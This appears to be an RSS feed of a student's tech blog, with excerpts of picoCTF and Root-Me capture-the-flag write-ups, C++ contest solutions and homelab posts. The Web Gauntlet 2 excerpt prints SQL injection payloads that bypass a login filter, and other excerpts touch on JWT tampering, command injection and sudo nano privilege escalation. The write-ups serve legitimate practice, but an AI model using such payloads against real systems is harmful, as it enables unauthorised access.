<?xml version="1.0" encoding="UTF-8"?>
        <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
        <channel>
        <title><![CDATA[Leaftechblog]]></title>
        <link>https://www.leaftechblog.cloudns.biz/</link>
        <atom:link href="https://www.leaftechblog.cloudns.biz/atom.xml" rel="self" type="application/rss+xml"/>
        <description><![CDATA[Leaftechblog]]></description>
        <language>zh-TW</language>
        <lastBuildDate>Tue, 21 Apr 2026 07:48:19 +0000</lastBuildDate>
          <item>
            <title><![CDATA[自製Blog框架！！]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_04_21/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_04_21/</guid>
            <pubDate>Tue, 21 Apr 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[總感覺Next主題，有點難看？？？？但是Hexo有更難用（相較無腦的Wordpress），好像速度又慢下來了
所以來嘗試用AI寫一個Blog框架！！
我用的AI:Claude
所以來想架構

文章都用標題顯示就好
我是寶可夢粉絲，當然要新增寶可夢（隔壁Icon有1/4096出現異色）
快！
輕
所以我考慮過後使用Rust（反正交給AI，我又不用學Rust），然後今天一整天在學校，都是自習，沒有上課，所以我就拿筆電出來一整天開發了
差不多是從8:00 ~ 15:15這樣的時間都在開發，耗掉了4個帳號 2輪的Claude，終於是完工了，感嘆這種框架以往要花1年的時間，現在只要1天，而且不用你打co…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF Sql Map1解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_04_17/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_04_17/</guid>
            <pubDate>Fri, 17 Apr 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[Sql Map1
Author: Aditya Sudhansu
Description
You’ve been hired by a shadowy group of pentesters who love a good puzzle. The system looks ordinary, but appearances lie. Somewhere inside, sloppy code and legacy hashing practices left a tiny, perfect doorway for an attacker.
Your mission — should you c…]]></description>
            </item>
  <item>
            <title><![CDATA[當AI去解HTB]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_04_16/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_04_16/</guid>
            <pubDate>Thu, 16 Apr 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[我才一個高中生小白而已，自然是解不出來HTB medium之類的東西，但是AI不是很強嗎？好啊，我來挑戰看看AI極限啊
題目：DevArea
Medium
選用：Gemini 3 pro,Grok 4.2專家,Copilot,Claude,GPT
結果
笑死，全軍覆沒
首先我讓Claude打第一棒開路先鋒，花了大概4個免費帳號，解出FTP登入，取得原始碼，反編譯，得出 SOAP Web Service 詳細邏輯，之後由於我Claude用完了，交給Gemini,Grok交棒，兩個輪流用，結果Gemini想了7min，卡死，Grok是解不出來
所以自然Gemini放棄，換成grok另ㄧ個帳號繼續打…]]></description>
            </item>
  <item>
            <title><![CDATA[太棒了，域名沒囉]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_04_14/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_04_14/</guid>
            <pubDate>Tue, 14 Apr 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[免費域名:此網域目前處於 pendingdelete 狀態。DNS 解析已停用，7 天後將自動釋出。
算了，反正Cloudns不太可能會亂清空
]]></description>
            </item>
  <item>
            <title><![CDATA[Celaeno域名搬家]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/move/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/move/</guid>
            <pubDate>Tue, 14 Apr 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[花了一點點時間把Blog搬家了，新域名:https://blogleaf.page.gd
]]></description>
            </item>
  <item>
            <title><![CDATA[或許解決吧?]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/new/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/new/</guid>
            <pubDate>Tue, 14 Apr 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[blog.quickconnect.qzz.io
]]></description>
            </item>
  <item>
            <title><![CDATA[picoCTF Failure Failure解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_04_12/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_04_12/</guid>
            <pubDate>Sun, 12 Apr 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[Author: Darkraicg492
Description
Welcome to Failure Failure — a high-available system.
This challenge simulates a real-world failover scenario where one server is prioritized over the other.
A load balancer stands between you and the truth — and it won't hand over the flag until you force its hand.
…]]></description>
            </item>
  <item>
            <title><![CDATA[Rootme ELF C++ - 0 protection解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_04_12_1/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_04_12_1/</guid>
            <pubDate>Sun, 12 Apr 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[Statement
Find the validation password.
照慣例，丟給龍看反編譯（Ghidra)
main函數
undefined4 main(int param_1,undefined4 *param_2)

{
  char *pcVar1;
  bool bVar2;
  ostream *poVar3;
  undefined4 uVar4;
  allocator local_1e;
  allocator local_1d;
  string local_1c [4];
  string local_18 [4];
  string local_14 [4];…]]></description>
            </item>
  <item>
            <title><![CDATA[ZJ c459. 2. 自戀數C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_04_05/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_04_05/</guid>
            <pubDate>Sun, 05 Apr 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
#define int long long
int math_pow(int a,int b)
{
    int n = 1;
    for (int i = 0; i&lt;b; ++i) {
        n*=a;
    }
    return n;
}
signed main ()
{
    int b,n;
    while (cin&gt;&gt;b&gt;&gt;n) {
    string u = to_string(n);
    bool ans = fa…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF ABSOLUTE NANO解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_4_2/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_4_2/</guid>
            <pubDate>Thu, 02 Apr 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[Description
You have complete power with nano.
Think you can get the flag?
Additional details will be available after launching your challenge instance.
連上之後ls會看到有Flag.txt，但問題是flag.txt只能用root打開，但是題目提示可以用nano
所以經過我瘋狂思考得出以下
You have complete power with nano.-&gt;用nano打開原本要root的檔案
所以試試看sudo -l
ctf-play…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF So Meta解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_03_31/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_03_31/</guid>
            <pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[Author: Kevin Cooper/Danny
Description
Find the flag in this picture.
很簡單，題目要跟你玩隱寫術
這裡要推薦一個超級好用的工具：StegSolve-1.4.jar
只要把圖片丟進去就可以進行XOR之類兩張圖片分析，還可以詳細顯示這張圖片有啥資料
果不起然，丟進去輕鬆拿答案













]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF waves over lambda解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_03_31_1/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_03_31_1/</guid>
            <pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[waves over lambda
Author: invisibility/Danny
Description
We made a lot of substitutions to encrypt this. Can you decrypt it?
Additional details will be available after launching your challenge instance.
進去題目的伺服器看看
(base) nolan@nolan-MS-7C31:~/下載/For_CTF$  nc fickle-tempest.picoctf.net 51106
--------…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF JaWT Scratchpad解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_03_31_2/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_03_31_2/</guid>
            <pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[Author: John Hammond
Description
Check the admin scratchpad!
Additional details will be available after launching your challenge instance.
打開題目的網站，先登入test，發現餅乾長：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidGVzdCJ9.IAu_YSHppFe8hXH_BSPb4OLJYGUi8wXqXdS0T33cKbA
攻擊目標由於題目早說是JWT，所以隨便丟一個JWT encoder
得到
…]]></description>
            </item>
  <item>
            <title><![CDATA[關於我太無聊在Shodan亂逛到北韓IP，意外揭曉北韓駭客陰謀]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/BAD_VPN/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/BAD_VPN/</guid>
            <pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[今天因為學生計算機演講有一個講座是關於工控安全，裡面有講到Shodan
然後我就突發奇想，如果輸入IP篩選北韓會發生什麼事
結果讓我發現到194.147.16.103
這個IP是關於LVCHA VPN - 永远都能连上的VPN
interesting
總之這東西官網有APK，載來逆向分析
總之發現底下的東西
原生庫分析（liblvchanative.so）
發現說明
反偵錯detect_ptrace — 偵測偵錯器
反FridadetectFridaPort / detectFridaOrXposed
反RootdetectFakeSu / detectMagiskProps / detect…]]></description>
            </item>
  <item>
            <title><![CDATA[LXCbox支援Wayland!]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_03_25/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_03_25/</guid>
            <pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[
]]></description>
            </item>
  <item>
            <title><![CDATA[cses Counting Rooms解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_03_24/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_03_24/</guid>
            <pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
void dfs(vector&lt;vector&lt;bool&gt;&gt;&amp;visited,int x,int y,vector&lt;vector&lt;int&gt;&gt;&amp;maps)
{
    if (!visited[x][y]) {
        if (maps[x][y] == 0) {
            visited[x][y] = true;
            int nx [] = {1,0,-1,0};
           …]]></description>
            </item>
  <item>
            <title><![CDATA[Blog宣言]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_03_22/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_03_22/</guid>
            <pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[https://blog.nas29229.dpdns.org/2026/03/22/blog宣言/
]]></description>
            </item>
  <item>
            <title><![CDATA[LXCBOX!]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_21/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_21/</guid>
            <pubDate>Sat, 21 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[一堆容器化的Linux解決方案，都有缺點

Flatpak、Snap : 啟動慢，沙盒有一些問題，支援程式有限
Distrobox : 太多層套來套去
IncusOS : 這東西限制CLI
Inccus : 沒人把這東西GUI host出來
所以？何不來試試看自製容器

架構
(每層一個架構)
原本OS
LXC
(LXC GUI -&gt; Host -&gt;  原本OS)
這樣就不用一堆層套來套去了
開發經過
Alpine
當初採用Alpine因為我想說，Host就最小化，反正如果你要裝東西就往LXC塞啊
但是經過一長段時間Debug，發現主流發行版對LXC支援很爛
會遇到記憶體錯誤問題，…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF Autorev 1]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_20_1/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_20_1/</guid>
            <pubDate>Fri, 20 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[Author: SkrubLawd
Description
You think you can reverse engineer? Let's test out your speed
Additional details will be available after launching your challenge instance.
這種東西直接找AI最快，因為，題目有連續多個題目，還有題目呆要求你1s解完，作個腳本連續解
#!/usr/bin/env python3
from pwn import *
import re, struct
from elftools.elf.elffile…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF JAuth解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_20_2/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_20_2/</guid>
            <pubDate>Fri, 20 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[Author: Geoffrey Njogu
Description
Most web application developers use third party components without testing their security. Some of the past affected companies are:
Equifax (a US credit bureau organization) - breach due to unpatched Apache Struts web framework CVE-2017-5638
Mossack Fonesca (Panama…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF No FA解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_19/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_19/</guid>
            <pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[Author: Darkraicg492
Description
Seems like some data has been leaked! Can you get the flag?
You can get started here to find the flag!
The application code can be found here.
The leaked data can be found here.
點擊會看到題目給你兩個檔案，一個資料庫，一個後端代碼
進去要你登入
首先看到資料庫裡面的東西
(base) nolan@nolan-MS-7C31:~/下載/For_CTF$ s…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF ping-cmd解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_19_1/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_19_1/</guid>
            <pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[Author: Yahaya Meddy
Description
Can you make the server reveal its secrets? It seems to be able to ping Google DNS, but what happens if you get a little creative with your input?
Additional details will be available after launching your challenge instance.
Hints-&gt;Sometimes, You can run more than…]]></description>
            </item>
  <item>
            <title><![CDATA[個人網站更新！]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_18/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_18/</guid>
            <pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[https://51511.github.io/Personal-Website/
費了好一大功夫跟AI對話+自己小修小補得出的網站
]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF Web Gauntlet 2解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_15/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_15/</guid>
            <pubDate>Tue, 17 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[題目打開，會給你一個帳號密碼登入頁面，然後還有一個過濾頁面
其中filter.php告訴你以下的事
Filters: or and true false union like = &gt; &lt; ; -- /* */ admin

根據以上我是解出來兩個Payload
第一解
adm'||'in
' GLOB '*

利用SQL的GLOB語法
第二解
比較簡單的解法，利用IS NOT
ad'||'min
a' is not 'b

這樣就成功繞過了












]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF North-South解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_17/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_17/</guid>
            <pubDate>Tue, 17 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[Author: Darkraicg492
Description
I've set up geo-based routing - can you outsmart it?
You're trying to retrieve the flag, but there's a catch: access to the real service is restricted based on your geographic location. Only requests from a specific region are routed to the server that holds the flag…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF Old Sessions解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_17_1/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_17_1/</guid>
            <pubDate>Tue, 17 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[Author: David Gaviria
Description
Proper session timeout controls are critical for securing user accounts. If a user logs in on a public or shared computer but doesn’t explicitly log out (instead simply closing the browser tab), and session expiration dates are misconfigured, the session may remain …]]></description>
            </item>
  <item>
            <title><![CDATA[ZJ e584解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_16/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_16/</guid>
            <pubDate>Mon, 16 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
int land_size;
void dfs(vector&lt;vector&lt;bool&gt;&gt;&amp;visited,int x,int y,vector&lt;vector&lt;char&gt;&gt;&amp;maps)
{
    if (x &gt;= 0 &amp;&amp; y &gt;= 0 &amp;&amp; x &lt; maps.size() &amp;&amp; y &lt; maps[0].size()) {
        if (visit…]]></description>
            </item>
  <item>
            <title><![CDATA[我解這要幹嘛？？]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_03_16_1/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_03_16_1/</guid>
            <pubDate>Mon, 16 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[我太無聊，剛好看到Jerry的Blog，剛好有他們學校的資訊課期末考考題ㄟ，來寫寫看？
我就直接用C++了，不習慣用Python解競程
C
1
#include &lt;bits/stdc++.h&gt;
#include &lt;vector&gt;
using namespace std;
int main ()
{
    int n;
    cout&lt;&lt;"n = ?";
    cin&gt;&gt;n;
    vector&lt;int&gt;num(n);
    for (int i = 0; i&lt;n; i++) {
        cout&lt;&lt;…]]></description>
            </item>
  <item>
            <title><![CDATA[競程篇，我喜歡的程式語言]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_16_3/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_16_3/</guid>
            <pubDate>Mon, 16 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[雖然我競程是被別人打的那種，尤其是學科能力競賽被別人吊打，但來紀錄一下我喜歡的程式語言，競賽篇
唯一喜歡C++
說來有奇怪？第一個我真正開始認真學的程式語言是C++，不是Python，主要？我升上高中的那個暑假，被我從家裡翻出一本30年前的C++教學書，我至今都不知道那哪來的，我們家沒人會寫程式，然後因為暑假閒閒沒事做，所以每天就學習C++了
為啥我喜歡C++？因為C++不只比C還要好寫一些，不會有Python排版問題，加上如果學C++，可以打幾乎所有的競賽，主要問題也只有那個cin/cout速度問題，還有編譯器也好用，這些優點
但是主機如果是Windows，逼我要本地編譯，我真的覺得沒有G+…]]></description>
            </item>
  <item>
            <title><![CDATA[ZJ a146解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_15_1/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_15_1/</guid>
            <pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
#define int long long
using namespace std;
signed main ()
{
    int a,b;
    while (cin&gt;&gt;a&gt;&gt;b) {
        if (b &gt; a) {
            b =a ;
        }
        vector&lt;int&gt;num(a);
        for (int i = 0; i&lt;a; i++) {
            cin&gt;&gt;num[i];
    …]]></description>
            </item>
  <item>
            <title><![CDATA[KDE connect的奇怪預設]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_13/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_13/</guid>
            <pubDate>Fri, 13 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[KDE connect至從有了藍芽連線之後，是預設開啟藍芽，但這會有什麼問題？
問題可大了，讓我電腦打開之後30秒會卡，從Debian13裝好到現在！
問題點是我透過:journalctl -b | grep plasmashell
找到底下Log
kdeconnect.interfaces: error while refreshing device list 
"Did not receive a reply..."

也就是我桌機是沒有藍芽，然後KDE connect會找藍芽，結果沒藍芽，卡死30秒，我的天啊，這問題那麼扯嗎？
我還以為是顯卡驅動，但是我用藍廠的驅動應該不致於吧？
解法只…]]></description>
            </item>
  <item>
            <title><![CDATA[Albireo被Fork了]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_12/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_12/</guid>
            <pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[我逛一下我的Github，發現我的Albireo被Fork了，該專案，我不得不吐嘈一下啦，這東西到底改了什麼？？邏輯都一模一樣阿，只是改一改Html，我還搞三平台欸，但？能被Fork還是很開心吧？
只是我寫信給他說你用了原版有版權的圖片
（之後可能不會繼續用MIT授權了）












]]></description>
            </item>
  <item>
            <title><![CDATA[個人網站上線!]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_7/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_7/</guid>
            <pubDate>Sat, 07 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[https://51511.github.io/Personal-Website/
]]></description>
            </item>
  <item>
            <title><![CDATA[我用什麼設備？]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/use/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/use/</guid>
            <pubDate>Sat, 07 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[電腦
桌機

i5-9400
24GB Ram
Intel Arc A380

筆電
我也不知道是什麼神奇的Lenovo筆電
NAS

i7-4790
16GB Ram
GT 1030
256 GB SSD*2

OS

桌機裝Debian 13
筆電裝Fedora kinoite
NAS用TrueNAS Scale

手機
Poco F6 pro (但是系統被我改爆，雖然還是基於原版的Bug UI)
外設

羅技 G304
不知名Mic
不知名黑軸鍵盤（才700元）
繪王RTM-500（被我蝦皮買2手才400元，賺到）
一個不知名的小螢幕 + 不知名的ViewSonic螢幕
ASUS有線耳機…]]></description>
            </item>
  <item>
            <title><![CDATA[各家AI來PK]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_5/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_5/</guid>
            <pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[隱私
對於使用AI，只要你不是用開源AI基本上會遇到AI背後的企業把你的對話拿去訓練新的模型問題，甚至有人工審查的部分，所以先比對各家AI位怎樣蒐集資料（先不考慮企業違背自己條款，參與啥稜鏡計畫，那應該屬於陰謀論）
(先不提小模型或開源模型)
Copilot
Microsoft 365 Copilot（企業版）的提示、回應及透過 Microsoft Graph 存取的資料，不會用於訓練基礎 AI 模型。
消費者版 Copilot 預設會使用 Bing、MSN、Copilot 互動等資料進行 AI 訓練（經去識別化處理），但用戶可以隨時在設定中關閉訓練和個人化選項。
（講白一點就是企業版不會拿去…]]></description>
            </item>
  <item>
            <title><![CDATA[在Github上放的東西]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026-2-28/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026-2-28/</guid>
            <pubDate>Sat, 28 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[CodeBERT_SAST
把最近處理完的東西丟上Github
這是什麼？
一個基於CodeBERT的SAST工具，但是被我設定只會檢測記憶體漏洞
幹麼要設定只會記憶體漏洞？
因為訓練資料難找啊，記憶體漏洞最多，剛好被我設定成目標
還有其他原因
特點
基本上差不多應該可能是全世界第一個用

Juliet Test Suite + PrimeVul
Focal Loss + 滑動視窗
第一個在自家電腦跑出來的？（我還只用一張Intel Arc A380 + BF16，沒爆Vram)
不得不說，I家的顯卡雖然是生態系不好，卻可以輕鬆使用BF16，對於要重頭開始建構的，生態系繁不繁榮，我都沒差，這張…]]></description>
            </item>
  <item>
            <title><![CDATA[Blog club ?]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_21/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_21/</guid>
            <pubDate>Sat, 21 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[我幹麼不參加 blog club？
很簡單啊，我不買單
（底下有批評的話，請適度觀看，還有這是我想法，歡迎討論，但不要攻擊我)
基本上我是不怕有人批評我啦
框架
「我要逃離 Instagram 演算法！」
↓
加入 IndieWeb
↓
開始在意 Carnival 主題
↓
開始在意有沒有人看
↓
開始在意社群認不認可你
↓
「我要逃離 IndieWeb 演算法！」

基本上Carnival就是Blog Club
在這框架你被限制你要寫啥文章，你才能被大家看到，所以基本上你會參加，而參加的大多數是討厭Instagram的
這也不是Facebook？
大家互相訂閱RSS，只是決定下一個推薦是什麼…]]></description>
            </item>
  <item>
            <title><![CDATA[DigitalPlat]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_17/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_17/</guid>
            <pubDate>Tue, 17 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[之前有個讓全世界都搶著白嫖的網址：".us.kg"，之後就經歷一些事情被追殺，而這篇我想要寫說這背後的故事
HackClub
Hack Club is a global nonprofit network of high school computer programming clubs[3] founded in 2014 by Zach Latta and Jonathan Leung.[4] It now includes more than 1,000 high school clubs and 80,000 students.[5] It has been featured on t…]]></description>
            </item>
  <item>
            <title><![CDATA[NAS(Homeserver)部屬的東西]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_15/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_15/</guid>
            <pubDate>Sun, 15 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[
還有我額外用Docker-compose部屬的

防火牆(Snort IDS模式)
Ollama
當初我是用撿來的i7 4770，結果這東西功耗當NAS還是太恐怖了，所以我直接核心關到剩下2核2執行緒，而且把這東西變成1.8Ghz，舒服多了，反正是要比Raspberry pi好用太多了
樹莓派TF卡是性能很爛，CPU也爛，RAM又少，我現在這台老電腦都16GB RAM了
當然還是不要提很久之前，差點要火燒厝的事
現在這台Truenas至少到目前是最穩定的一次，已經過了很久沒出事了。

]]></description>
            </item>
  <item>
            <title><![CDATA[今天對這個Blog做了什麼事?]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_13_1/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_13_1/</guid>
            <pubDate>Fri, 13 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[第二Blog開張
我一直在想，這個Blog最初就是要紀錄"Tech"，結果我裡面塞入了一堆有的沒的文章，所以讓我有個想法，我要再開另一個Blog塞下我這些想法
至於架設方式，首先我本身就有一台NAS(裝的是TrueNAS)，一台24Hr不關機的電腦，加上我不想再架設在託管服務，然後Hexo,Hugo，設定實在太多了，我不想又要折騰，如果哪天故障，或者停電，反正不要影響我主站就好
所以我直接用Wordpress，外加Cloudflare tunnel部屬，原本想說10Mpbs的上傳應該會很慢，結果有Cloudflare加持，好像速度還不錯？
然後第二個Blog我取名叫做Celaeno，簡單來說，…]]></description>
            </item>
  <item>
            <title><![CDATA[逆向詐騙網站]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_10/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_10/</guid>
            <pubDate>Tue, 10 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[這篇不會告訴你詐騙網站很危險，主要我自己好奇去逆向
起因
在我的Mail裡面出現
標題：MOMO購物網 雲端發票對獎結果通知 - 郵件識別碼：MOMO-1150207-001,meeus-smets@telenet.be
MOMO購物網股份有限公司
公告字號： MOMO收字第 114-1126-C52
公告日期： 中華民國 114 年 12 月 18 日
案件編號： MO-1141126-728
郵件代碼： MO-1141126-4172
依據：
依據本公司雲端發票管理作業規範及系統對獎處理流程辦理。
公告說明事項：
一、雲端發票對獎處理情形說明
本公司近日依例行作業程序，完成民國114年09…]]></description>
            </item>
  <item>
            <title><![CDATA[Root me Javascript - Native code解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_6/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_6/</guid>
            <pubDate>Fri, 06 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[(此篇不在Google公開，請不要分享公開此篇解題，root me政策)
打開題目的網址，發現要輸入密碼
於是查看這個網頁Html
發現
(base) nolan@nolan-MS-7C31:~$ curl http://challenge01.root-me.org/web-client/ch16/ch16.html
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Plop&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;&lt;link rel='stylesheet' property='stylesheet' id='s' …]]></description>
            </item>
  <item>
            <title><![CDATA[Root me disabled buttons解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_5/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_5/</guid>
            <pubDate>Thu, 05 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[(初次來到Root me，這網站中文翻譯有翻跟沒翻一樣，還不如看英文)
(此篇不在Google公開，請不要分享公開此篇解題)
首先進到題目，發現題目說網站關閉了，輸入欄沒辦法輸入，所以應該是要想辦法輸入欄位
來看一下網頁的Html，發現到欄位之所以不能輸入是因為被設定成disable
所以只要改enable就可以輸入

改完之後隨便輸入123，就拿到password了












]]></description>
            </item>
  <item>
